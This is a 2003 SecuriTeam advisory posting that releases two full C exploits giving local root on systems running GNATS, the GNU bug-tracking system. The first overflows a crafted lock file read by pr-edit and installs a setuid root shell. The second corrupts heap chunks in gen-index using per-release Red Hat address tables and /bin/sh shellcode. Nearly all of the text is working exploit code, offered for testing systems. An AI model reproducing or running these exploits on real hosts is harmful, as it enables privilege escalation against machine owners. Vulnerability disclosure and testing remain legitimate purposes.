[EXPL] Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities
From: SecuriTeam (support_at_securiteam.com)
Date: 06/23/03
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Exploit Code Released for GNATS Multiple Buffer Overflow Vulnerabilities
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5CP0N0UAAA.html> GNATS (The GNU
bug-tracking system) Multiple Buffer Overflow Vulnerabilities, a
vulnerability in the GNATS allows local attackers to gain elevated
privileges. The following exploit codes can be used to test your system
for the mentioned vulnerabilities.
DETAILS
Exploit #1:
/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)
void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);
struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
/* chown root: ;chmod 6755 ; */
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
0xde,0xff,0xff,0xff
};
int make_sh(char *own_d_nm)
{
FILE *fp;
char d_src[(DF_SIZE)];
char st_exec[(DF_SIZE)*2];
memset((char *)d_src,0,sizeof(d_src));
snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
if((fp=fopen(d_src,"w"))==(NULL))
{
return(-1);
}
fprintf(fp,"main()\n"
"{\n"
"setreuid(0,0);"
"setregid(0,0);"
"setuid(0);"
"setgid(0);"
"system(\"sh -p\");"
"\n}\n");
fclose(fp);
memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
"gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
system(st_exec);
unlink(d_src);
if(stat(own_d_nm,&s_t)==(0))
{
return(0);
}
else return(-1);
}
void own_banrl()
{
fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root
exploit.\n");
fprintf(stdout," by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
fprintf(stdout,"\t -p [pr-edit path] : GNATS pr-edit path.\n",(T_G));
fprintf(stdout,"\t -t [target num] : Select gcc version
number.\n",(GCC_V_DEF));
fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
fprintf(stdout,"\t -b [target path] : setuid shell path.\n");
fprintf(stdout,"\t -h : Help information.\n\n");
fprintf(stdout," Example: %s -p%s -t%d
-b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
exit(0);
}
int __gnats_adm_mkdir()
{
memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
mkdir(df_mk_dir,0x1ed);
if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
{
return(0);
}
else return(-1);
}
void psh_addr(FILE *fp,u_long addr)
{
u_char __bf[4];
memset((u_char *)__bf,0,sizeof(__bf));
{
__bf[0]=(addr&0x000000ff)>>0;
__bf[1]=(addr&0x0000ff00)>>8;
__bf[2]=(addr&0x00ff0000)>>16;
__bf[3]=(addr&0xff000000)>>24;
}
fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
FILE *fp;
int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
int fst_junk_n=(DF_FIRST_JNK);
int scn_junk_n=(DF_SECOND_JNK);
memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));
if(gv_type)
{
fst_junk_n+=8;
scn_junk_n+=28;
}
if((fp=fopen(df_mk_lk,"w"))==(NULL))
{
return(-1);
}
for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
{
fprintf(fp,"F");
}
(void)psh_addr(fp,(u_long)stdout);
for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
{
fprintf(fp,"S");
}
(void)psh_addr(fp,(u_long)own_sh);
fclose(fp);
}
int main(int argc,char **argv)
{
int w_g_dot_f;
pid_t fk_pid;
u_long own_sh_addl;
char *own_exect[2];
int gcc_v_on=(GCC_V_DEF);
char pth_own[(DF_SIZE)]=(T_G);
char bck_own[(DF_SIZE)]=(DF_BK_SHL);
(void)own_banrl();
while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
{
extern char *optarg;
switch(w_g_dot_f)
{
case 'P':
case 'p':
memset((char *)pth_own,0,sizeof(pth_own));
strncpy(pth_own,optarg,sizeof(pth_own)-1);
break;
case 'T':
case 't':
if((gcc_v_on=(atoi(optarg)))>1)
{
(void)own_usage(argv[0]);
}
break;
case 'B':
case 'b':
memset((char *)bck_own,0,sizeof(bck_own));
strncpy(bck_own,optarg,sizeof(bck_own)-1);
break;
case 'H':
case 'h':
(void)own_usage(argv[0]);
break;
case '?':
(void)own_usage(argv[0]);
break;
}
}
fprintf(stdout," [0] Start, exploit.\n");
if((stat((pth_own),&s_t)!=(0)))
{
fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
exit(-1);
}
fprintf(stdout," [+] exploit target: %s\n",(pth_own));
fprintf(stdout," [1] Make setuid shell.\n");
if((int)make_sh(bck_own)==(-1))
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
fprintf(stdout," [2] Shellcode setting.\n");
{
own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
own_exect[0]=(shellcode);
own_exect[1]=(NULL);
}
fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
fprintf(stdout," [3] Make `gnats-adm' directory.\n");
if((__gnats_adm_mkdir())==(-1))
{
fprintf(stderr," [-] make directory failed.\n\n");
exit(-1);
}
fprintf(stdout," [4] Make user.lock file.\n");
if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
{
fprintf(stderr," [-] make lockfile failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Execute, Shellcode !!\n\n");
if((fk_pid=fork())==(0))
{
execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
}
wait(&fk_pid);
fprintf(stdout,"\n [5] Remove setting dir, files.\n");
unlink(df_mk_lk);
unlink(df_mk_tmp);
rmdir(df_mk_dir);
if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
{
fprintf(stdout," [+] exploit successfully.\n");
fprintf(stdout," [*] It's root shell !!\n\n");
execl((bck_own),(bck_own),(NULL));
}
else
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
}
/* eoc */
Exploit #2:
/*
**
** GNATS v3.113.x (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define VERSION "v0.0.2"
#define ATK_TG "/usr/local/libexec/gnats/gen-index"
typedef struct
{
int os_t_nm;
char *os_t;
u_long got_dtors;
u_long sh_code;
u_long fk_chunk_addr;
u_long fk_chunk_ptr;
int off_st;
} l_sux_tg;
/*
**
** Structure: --
** fake chunk pointer -> &(fake chunk address) -> fake chunk header
** state_entry *next; u_long fk_chunk_ptr; u_long fk_chunk_addr;
*/
/*
// Format for the states file.
typedef struct state_entry {
// State name.
char *key;
// State type.
char *type;
// Documentation string.
char *description;
// pointer to next record
struct state_entry *next; // <- here.
} States;
States *s,*s_start=NULL,*s_end=NULL;
FILE *fp;
int ntypes=2;
static char *types[2];
int nstates=5;
static char *states[5];
static char *descst[5];
char line[255];
char **array=(char **)alloca(3*4);
char *path=(char *)alloca(4095);
4436 + 16;
*/
l_sux_tg os_tg[]=
{
{
0,"Red Hat Linux release 6.1 (Cartman) "
": GNATS gen-index v3.113",
0x08056fdc, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805795c, /* fake chunk header */
0x0805828c, /* &(fake chunk addr) ptr */
-0x38
},
{
1,"Red Hat Linux release 6.1 (Cartman) "
": GNATS gen-index v3.113.1",
0x0805711c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x08057a9c, /* fake chunk header */
0x0805889c, /* &(fake chunk addr) ptr */
-0x38
},
{
2,"Red Hat Linux release 6.2 (Zoot) "
": GNATS gen-index v3.113",
0x08056fdc, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x080577cc, /* fake chunk header */
0x080581fc, /* &(fake chunk addr) ptr */
-0x38
},
{
3,"Red Hat Linux release 6.2 (Zoot) "
": GNATS gen-index v3.113.1",
0x0805711c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805790c, /* fake chunk header */
0x0805836c, /* &(fake chunk addr) ptr */
-0x38
},
{
4,"Red Hat Linux release 7.0 (Guinness) "
": GNATS gen-index v3.113",
0x08056d1c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805750c, /* fake chunk header */
0x08058504, /* &(fake chunk addr) ptr */
0x0
},
{
5,"Red Hat Linux release 7.0 (Guinness) "
": GNATS gen-index v3.113.1",
0x08056e3c, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805762c, /* fake chunk header */
0x08057f4c, /* &(fake chunk addr) ptr */
0x0
},
{
6,"Red Hat Linux release 7.3 (Valhalla) "
": GNATS gen-index v3.113",
0x08056794, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x08056f2c, /* fake chunk header */
0x08057fec, /* &(fake chunk addr) ptr */
-0x20
},
{
7,"Red Hat Linux release 7.3 (Valhalla) "
": GNATS gen-index v3.113.1",
0x08055e88, /* fprintf GOT */
0xbfffedee, /* shellcode */
0x0805662c, /* fake chunk header */
0x08056f2c, /* &(fake chunk addr) ptr */
-0x20
},
{
8,(NULL),0x82828282,0x0,0x0,0x0,0
}
};
char shellcode[]= /* NOP + setreuid + setregid + 23byte shellcode */
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0); */
"\x31\xc0\xb0\x47\x31\xdb\x31\xc9\xcd\x80" /* setregid(0,0); */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
void pre_usage(char *pre_f_nm);
int main(int argc,char *argv[])
{
int g_g_bf=(0),km_jm,__verbs=(0);
int tot_sh_sz=(sizeof(shellcode)+(100*4)+1);
char env_sh[tot_sh_sz]; /* NOP + shellcode */
char chunk_hd_garbage[6]={0x82,0x82,0x82,0x82};
char fk_chunk_fst_hd[8]={0xf0,0xff,0xff,0xff};
char fk_chunk_scd_hd[8]={0xfc,0xff,0xff,0xff};
char p_rev_size[8]={0xfc,0xff,0xff,0xff};
char __size_fd[8]={0xff,0xff,0xff,0xff};
#define DEF_C2PT_VAL (5000)
u_char tot_atk_c2pt_bf[(DEF_C2PT_VAL)];
u_char logr_chunk_hd_c2pt[0x32]= /* libc_free ptr_tg */
{
#ifdef PR_CF
0xf0,0xff,0xff,0xff, /* prev_size */
0xfc,0xff,0xff,0xff, /* size_fd */
0x0,0x0,0x0,0x0, /* fd ptr */
#endif
0x0,0x0,0x0,0x0, /* bk ptr */
0xfc,0xff,0xff,0xff, /* prev_size */
0xff,0xff,0xff,0xff, /* size_fd */
0x0,0x0,0x0,0x0, /* fd ptr */
0x0,0x0,0x0,0x0 /* bk ptr */
};
char arg_set_lst_one_byte[0x14]= /* argument setting */
{
0x41,0x41,0x41,0x41,0x42,0x42,0x42,0x42, /* offset:8 */
0x43,0x43,0x43,0x43,0x44,0x44,0x44,0x44, /* offset:8 */
0x11 /* fake chunk header information */
};
char fk_nstates_nm[8]={0xf0,0xff,0xff,0xff}; /* bypass nstates: -1 */
char nop_jmp_nop_concept[6]={0x42,0x0c,0xeb,0x41};
//{0x90,0x0e,0xeb,0x40};
#define DEF_ZR (0)
int os_atk_tp=(DEF_ZR);
int sys_off_st=(os_tg[os_atk_tp].off_st);
u_long got_dtors=(os_tg[os_atk_tp].got_dtors);
u_long sh_code=(os_tg[os_atk_tp].sh_code);
u_long fk_chunk_addr=(os_tg[os_atk_tp].fk_chunk_addr);
u_long fk_chunk_ptr=(os_tg[os_atk_tp].fk_chunk_ptr);
u_char *ctrl_ptr=(logr_chunk_hd_c2pt);
fprintf(stdout,"\n GNATS v3.113.x (The GNU bug-tracking system) local
root exploit.\n\n");
while((km_jm=getopt(argc,argv,"T:t:O:o:R:r:S:s:F:f:P:p:VvHh"))!=EOF)
{
extern char *optarg;
switch(km_jm)
{
case 'T':
case 't':
if((os_atk_tp=atoi(optarg))>(7))
{
(void)pre_usage(argv[0]);
}
else
{
sys_off_st=(os_tg[os_atk_tp].off_st);
got_dtors=(os_tg[os_atk_tp].got_dtors);
sh_code=(os_tg[os_atk_tp].sh_code);
fk_chunk_addr=(os_tg[os_atk_tp].fk_chunk_addr);
fk_chunk_ptr=(os_tg[os_atk_tp].fk_chunk_ptr);
}
break;
case 'O':
case 'o':
sys_off_st=(atoi(optarg));
break;
case 'R':
case 'r':
got_dtors=(strtoul(optarg,0,0));
break;
case 'S':
case 's':
sh_code=(strtoul(optarg,0,0));
break;
case 'F':
case 'f':
fk_chunk_addr=(strtoul(optarg,0,0));
break;
case 'P':
case 'p':
fk_chunk_ptr=(strtoul(optarg,0,0));
break;
case 'V':
case 'v':
__verbs++;
break;
case 'H':
case 'h':
(void)pre_usage(argv[0]);
break;
case '?':
(void)pre_usage(argv[0]);
break;
}
}
fprintf(stdout," [=] Offset: %d\n",sys_off_st);
fprintf(stdout," [=] fprintf GOT address: %p\n",got_dtors);
got_dtors-=(0x0c);
fprintf(stdout," [=] shellcode address: %p\n",sh_code);
fprintf(stdout," [=] fake chunk address: %p\n",fk_chunk_addr);
fprintf(stdout," [=] fake chunk address ptr: %p\n",fk_chunk_ptr);
#ifdef PR_CF
ctrl_ptr+=(strlen(fk_chunk_fst_hd)+strlen(fk_chunk_scd_hd));
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));
#endif
fprintf(stdout," [0] Make fake chunk.\n");
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(p_rev_size)+strlen(__size_fd));
{
*ctrl_ptr++=(got_dtors&0x000000ff)>>0;
*ctrl_ptr++=(got_dtors&0x0000ff00)>>8;
*ctrl_ptr++=(got_dtors&0x00ff0000)>>16;
*ctrl_ptr++=(got_dtors&0xff000000)>>24;
*ctrl_ptr++=(sh_code&0x000000ff)>>0;
*ctrl_ptr++=(sh_code&0x0000ff00)>>8;
*ctrl_ptr++=(sh_code&0x00ff0000)>>16;
*ctrl_ptr++=(sh_code&0xff000000)>>24;
}
memset((char *)tot_atk_c2pt_bf,0,sizeof(tot_atk_c2pt_bf));
ctrl_ptr=(tot_atk_c2pt_bf);
for(g_g_bf=0;g_g_bf<(111);g_g_bf++,ctrl_ptr+=strlen(logr_chunk_hd_c2pt))
memcpy((char
*)ctrl_ptr,logr_chunk_hd_c2pt,strlen(logr_chunk_hd_c2pt));
fprintf(stdout," [1] Set fake chunk address.\n");
for(g_g_bf=0;g_g_bf<(555*4)+(sys_off_st);g_g_bf+=sizeof(fk_chunk_addr))
{
*ctrl_ptr++=(fk_chunk_addr&0x000000ff)>>0;
*ctrl_ptr++=(fk_chunk_addr&0x0000ff00)>>8;
*ctrl_ptr++=(fk_chunk_addr&0x00ff0000)>>16;
*ctrl_ptr++=(fk_chunk_addr&0xff000000)>>24;
}
fprintf(stdout," [2] Make 16byte magic code.\n");
{
memcpy((char *)ctrl_ptr,fk_nstates_nm,strlen(fk_nstates_nm));
ctrl_ptr+=(strlen(fk_nstates_nm));
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));
memcpy((char *)ctrl_ptr,chunk_hd_garbage,strlen(chunk_hd_garbage));
ctrl_ptr+=(strlen(chunk_hd_garbage));
*ctrl_ptr++=(fk_chunk_ptr&0x000000ff)>>0;
*ctrl_ptr++=(fk_chunk_ptr&0x0000ff00)>>8;
*ctrl_ptr++=(fk_chunk_ptr&0x00ff0000)>>16;
*ctrl_ptr++=(fk_chunk_ptr&0xff000000)>>24;
}
if(__verbs)
{
int t_nm_pls;
int atk_lsz;
atk_lsz=(strlen(arg_set_lst_one_byte));
fprintf(stdout,"\n [*] Total argument len: %d\n",atk_lsz);
for(t_nm_pls=(0);t_nm_pls<atk_lsz;t_nm_pls+=4)
{
fprintf(stdout," [0x%08x] ",*(long
*)&arg_set_lst_one_byte[t_nm_pls]);
if((t_nm_pls!=(0))&&((t_nm_pls%16)==(0)))
fprintf(stdout,"\n");
}
atk_lsz=(strlen(tot_atk_c2pt_bf));
fprintf(stdout,"\n [*] Total atkcode len: %d\n",atk_lsz);
for(t_nm_pls=(0);t_nm_pls<atk_lsz;t_nm_pls+=4)
{
fprintf(stdout," [0x%08x] ",*(long *)&tot_atk_c2pt_bf[t_nm_pls]);
if((t_nm_pls!=(0))&&((t_nm_pls%16)==(0)))
fprintf(stdout,"\n");
}
fprintf(stdout,"\n\n Sample structure:\n\n");
fprintf(stdout," 0x41414141 0x42424242 0x43434343 0x44444444 //
offset:17 (`-c' argument)\n");
fprintf(stdout," 0x00000011 0x00001181 0x82828282 0xfffffffc
0xffffffff // fake chunk header (environment)\n");
fprintf(stdout," [ first chunk ] [ second chunk ]\n");
fprintf(stdout," 0xXXXXXXXX 0xYYYYYYYY 0xPPPPPPPP 0xPPPPPPPP
0xPPPPPPPP ... // (environment)\n");
fprintf(stdout," [ GOTors ] [ shell ] [ &(fake chunk addr) ... ]\n");
fprintf(stdout," 0xfffffff0 0x82828282 0x82828282 0xFKFKFKFK //
(environment)\n");
fprintf(stdout," [nstates ] [ offset:8 ] [ chunk ptr ]\n\n");
}
fprintf(stdout," [3] Make shellcode.\n");
{
memset((char *)env_sh,0,sizeof(env_sh));
ctrl_ptr=(env_sh);
for(g_g_bf=0;g_g_bf<100;g_g_bf++,ctrl_ptr+=strlen(nop_jmp_nop_concept))
memcpy((char
*)ctrl_ptr,nop_jmp_nop_concept,strlen(nop_jmp_nop_concept));
strncat(env_sh,shellcode,sizeof(env_sh)-strlen(env_sh));
}
fprintf(stdout," [4] Set environment attack code.\n");
/* environment setting */
setenv("X82",env_sh,strlen(env_sh));
setenv("GNATS_ROOT",tot_atk_c2pt_bf,strlen(tot_atk_c2pt_bf));
fprintf(stdout," [5] Try exploit ...\n\n");
execl((ATK_TG),(ATK_TG),"-c",(arg_set_lst_one_byte),0);
}
void pre_usage(char *pre_f_nm)
{
int r_num=(0);
fprintf(stdout," Usage: %s -option [argument]\n\n",pre_f_nm);
fprintf(stdout,"\t-o [offset num] : offset number.\n");
fprintf(stdout,"\t-r [retloc addr] : retloc GOT address.\n");
fprintf(stdout,"\t-s [shell addr] : shellcode address.\n");
fprintf(stdout,"\t-f [chunk addr] : fake chunk address.\n");
fprintf(stdout,"\t-p [chunk ptr] : fake chunk address ptr.\n");
fprintf(stdout,"\t-v : verbose mode.\n");
fprintf(stdout,"\t-h : help information.\n");
fprintf(stdout,"\t-t [target num] : select target number.\n\n");
fprintf(stdout," Select target number:\n\n");
while(1)
{
if((os_tg[r_num].os_t)==(NULL))
break;
else
{
fprintf(stdout,"\t{%d} :
%s\n",os_tg[r_num].os_t_nm,os_tg[r_num].os_t);
r_num++;
}
}
fprintf(stdout,"\n Sample #1): %s -t0\n",pre_f_nm);
fprintf(stdout," Sample #2): %s -o0 -r0x82828282 -s0x8282bab0
-v\n\n",pre_f_nm);
exit(0);
}
/* eoc */
ADDITIONAL INFORMATION
The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un U.
========================================
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